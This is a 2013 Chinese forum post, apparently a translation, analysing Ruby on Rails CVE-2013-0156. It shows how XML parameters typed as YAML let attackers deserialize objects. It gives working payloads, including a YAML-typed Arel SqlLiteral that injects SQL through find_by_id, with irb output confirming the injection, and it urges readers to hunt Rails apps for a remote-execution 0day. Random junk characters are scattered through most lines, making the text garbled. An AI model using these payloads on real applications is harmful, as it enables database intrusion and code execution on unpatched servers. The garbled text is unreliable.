Author: wofeiwo#80sec.com 3 J2 q/ @( [; m3 r" x4 s
* j1 P- S0 \ _7 q注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。 . H+ s- o, l2 G: v
7 J7 {- p! R0 _0 L. Q2 g$ |+ N
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. $ o8 R3 E- }3 F ~3 }, X
+ o) @. H4 |6 A. {, H( Y; s
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. : R# k" k ?) H. g6 D! u7 G
* Q$ {, Y4 S2 E3 a9 f; Z! R为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
) K9 U: ]# x6 z# x" C5 A
9 P# ]/ [' Q/ k8 |<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: ( Q U$ }# E8 B5 h" h* u
) o5 S' Y' {/ O- U"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
% {: A- o: s2 `5 f. l6 |: i% |% X3 _7 r0 V( }
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? 4 X8 o. ]% k2 E
; y" X; j3 q/ o. |3 Z; R
然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。 " w/ c1 b! s8 l& b) M
! R( X, c6 V# o9 b- @: m/ u$ e但是等等，还有另一个参数类型，yaml。 6 S1 s5 F, u; d
$ V; u+ [5 V u8 Yyaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。
: D* L: F2 b% t2 ?4 x6 }! s2 n3 R# E: j) l/ i; R
<test type="yaml">--- !ruby/object:A7 n; l; e2 s/ L4 o3 }
aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。
* W- J% r! c8 o
6 m7 E* O9 ~) M" ~* u如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。 3 x, I: X# G {# w
2 v8 Q( Y! k" ~) H' [如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。 - Z5 o# N5 |# T$ x( X
7 z. X8 q8 z- w一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式）
2 K" V/ w3 K1 e& {0 h5 W
: D- I9 `, C7 P2 \" j" j+ Emodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：
+ H+ t- Z# Z! C6 C7 s0 ~0 f6 k4 \0 B& f# Y" J+ R" O
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
3 z' `4 e$ M' v! o0 _1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 . ]/ b3 F: s! g2 U
1 E6 r" Q% }: z/ Y5 s' ?
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。 & B8 N2 p6 }8 I! @' W6 }6 W# i
6 A3 B! h" L" V0 S% F# V) t |
发表于 2013-1-11 21:16:27
收藏
支持
反对